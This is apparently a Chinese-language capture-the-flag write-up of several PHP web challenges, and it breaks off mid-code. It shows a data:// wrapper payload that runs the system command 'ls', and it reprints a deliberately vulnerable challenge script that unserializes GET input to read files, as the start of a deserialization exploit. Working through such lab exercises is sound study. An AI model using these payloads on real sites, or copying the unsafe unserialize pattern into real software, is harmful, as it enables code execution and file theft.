前言:
Where is file?-1
——php伪协议
考察的是php
伪协议,可以使用data
协议来进行读取
?file=data:text/plain,<?echo system('ls')?>
阿森的爱情-1
——签到
扫描一下出一个文件,里面就有flag
Php is the best language
——PHP反序列化、to_string魔法函数的调用
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
代码很简单,就是__toString
的调用
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if